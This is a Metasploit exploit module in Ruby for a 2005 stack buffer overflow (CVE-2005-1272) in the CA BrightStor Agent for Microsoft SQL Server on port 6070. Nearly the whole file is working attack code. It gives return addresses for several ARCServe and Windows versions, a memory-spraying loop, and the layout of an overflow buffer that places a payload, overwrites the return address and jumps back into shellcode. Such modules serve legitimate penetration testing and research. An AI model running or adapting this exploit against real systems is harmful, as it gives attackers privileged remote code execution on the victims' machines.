1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5

6
class MetasploitModule < Msf::Exploit::Remote
7
  Rank = AverageRanking
8

9
  include Msf::Exploit::Remote::Tcp
10

11
  def initialize(info = {})
12
    super(
13
      update_info(
14
        info,
15
        'Name' => 'CA BrightStor Agent for Microsoft SQL Overflow',
16
        'Description' => %q{
17
          This module exploits a vulnerability in the CA BrightStor
18
          Agent for Microsoft SQL Server. This vulnerability was
19
          discovered by cybertronic[at]gmx.net.
20
        },
21
        'Author' => [ 'hdm' ],
22
        'License' => MSF_LICENSE,
23
        'References' => [
24
          [ 'CVE', '2005-1272'],
25
          [ 'OSVDB', '18501' ],
26
          [ 'BID', '14453'],
27
          [ 'URL', 'http://www.idefense.com/application/poi/display?id=287&type=vulnerabilities'],
28
          [ 'URL', 'http://www3.ca.com/securityadvisor/vulninfo/vuln.aspx?id=33239'],
29
        ],
30
        'Privileged' => true,
31
        'Payload' => {
32
          'Space' => 1000,
33
          'BadChars' => "\x00",
34
          'StackAdjustment' => -3500,
35
        },
36
        'Platform' => %w{win},
37
        'Targets' => [
38
          # This exploit requires a jmp esp for return
39
          ['ARCServe 11.0 Asbrdcst.dll 12/12/2003', { 'Platform' => 'win', 'Ret' => 0x20c11d64 }], # jmp esp
40
          ['ARCServe 11.1 Asbrdcst.dll 07/21/2004', { 'Platform' => 'win', 'Ret' => 0x20c0cd5b }], # push esp, ret
41
          ['ARCServe 11.1 SP1 Asbrdcst.dll 01/14/2005', { 'Platform' => 'win', 'Ret' => 0x20c0cd1b }], # push esp, ret
42

43
          # Generic jmp esp's
44
          ['Windows 2000 SP0-SP3 English', { 'Platform' => 'win', 'Ret' => 0x7754a3ab }], # jmp esp
45
          ['Windows 2000 SP4 English', { 'Platform' => 'win', 'Ret' => 0x7517f163 }], # jmp esp
46
          ['Windows XP SP0-SP1 English', { 'Platform' => 'win', 'Ret' => 0x71ab1d54 }], # push esp, ret
47
          ['Windows XP SP2 English', { 'Platform' => 'win', 'Ret' => 0x71ab9372 }], # push esp, ret
48
          ['Windows 2003 SP0 English', { 'Platform' => 'win', 'Ret' => 0x71c03c4d }], # push esp, ret
49
          ['Windows 2003 SP1 English', { 'Platform' => 'win', 'Ret' => 0x71c033a0 }], # push esp, ret
50
        ],
51
        'DisclosureDate' => '2005-08-02',
52
        'DefaultTarget' => 0,
53
        'Notes' => {
54
          'Reliability' => UNKNOWN_RELIABILITY,
55
          'Stability' => UNKNOWN_STABILITY,
56
          'SideEffects' => UNKNOWN_SIDE_EFFECTS
57
        }
58
      )
59
    )
60

61
    register_options(
62
      [
63
        Opt::RPORT(6070)
64
      ]
65
    )
66
  end
67

68
  def exploit
69
    print_status("Trying target #{target.name}...")
70

71
    # The 'one line' request does not work against Windows 2003
72
    1.upto(5) { |i|
73
      # Flush some memory
74
      connect
75
      begin
76
        sock.put("\xff" * 0x12000)
77
        sock.get_once
78
      rescue
79
      end
80
      disconnect
81

82
      # 3288 bytes max
83
      #  696 == good data (1228 bytes contiguous) @ 0293f5e0
84
      # 3168 == return address
85
      # 3172 == esp @ 0293ff8c (2476 from good data)
86

87
      buf = rand_text_english(3288, payload_badchars)
88
      buf[696, payload.encoded.length] = payload.encoded
89
      buf[3168, 4] = [target.ret].pack('V')  # jmp esp
90
      buf[3172, 5] = "\xe9\x4f\xf6\xff\xff"  # jmp -2476
91

92
      connect
93
      begin
94
        sock.put(buf)
95
        sock.get_once
96
      rescue
97
      end
98

99
      handler
100
      disconnect
101
    }
102
  end
103
end
104

105